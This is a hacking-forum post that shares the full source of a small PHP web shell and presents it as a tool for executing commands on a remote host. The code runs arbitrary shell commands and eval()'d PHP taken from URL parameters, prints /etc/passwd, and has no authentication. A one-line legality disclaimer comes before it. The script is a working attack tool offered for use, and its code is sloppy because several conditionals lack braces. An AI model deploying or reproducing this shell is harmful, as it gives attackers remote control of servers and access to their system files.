+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools)
+--- Thread: Medium PHP shell. (/Thread-Medium-PHP-shell)
Medium PHP shell. - TheShadow1 - 03-05-2012
A semi-lightweight php shell.
Cool_Fire is a dude from another forum. >> http://www.hackerthreads.org/Topic-45418
Name: Medium PHP shell
Author: TheShadowFog (Original code from Cool_Fire)
Language : PHP
What it does: Execute commands on a remote host
Lines of code: 46
Git repo: https://github.com/Gregoryx12/tinyshell
I took what Cool_Fire made and expanded it a little bit. This was more of a test for myself. :grin:
PLEASE DO NOT USE THIS FOR ILLEGAL PURPOSES.
Code:
<?php
//Change pass variable
$str = <<<EOD
page.php?shell=command executes the command as the user running php.
<br>page.php?php=command adds command to the php code to run
<br>page.php?echo=command writes the command string back to the page (mainly used for testing)
<br>page.php?disk
<br>page.php?phpversion
<br>page.php?info
<br>page.php?shadow (Show /etc/passwd)
EOD;
if(isset($_GET['shell']))
//echo("<pre>".shell_exec($_GET["shell"]." &")."</pre>");
echo("<textarea cols='30' rows='15' readonly='readonly'>".shell_exec($_GET["shell"]." &")."</textarea>");
//echo("<pre>".shell_exec($_GET["shell"]." &")."</pre>");
if(isset($_GET['php']))
echo(eval(stripcslashes($_GET["php"])));
if(isset($_GET['echo']))
echo($_GET["echo"]);
if(isset($_GET[help]))
echo $str;
if(isset($_GET[disk]))
//$ds = disk_total_space(($_GET[disk]));
$ds = system("df --si | grep simfs");
echo $ds;
if(isset($_GET[phpversion]))
//$ds = disk_total_space(($_GET[disk]));
$pv = system("php -v");
echo $pv;
if(isset($_GET[info]))
$ip = getenv("REMOTE_ADDR");
//$sip = system("ip addr");
echo $ip;
//echo $sip;
if(isset($_GET[shadow]))
$shadowx = shell_exec("cat /etc/passwd");
echo "<pre>".$shadowx."</pre>";
?>Docs:
shell.php?help
Enjoy! :epic: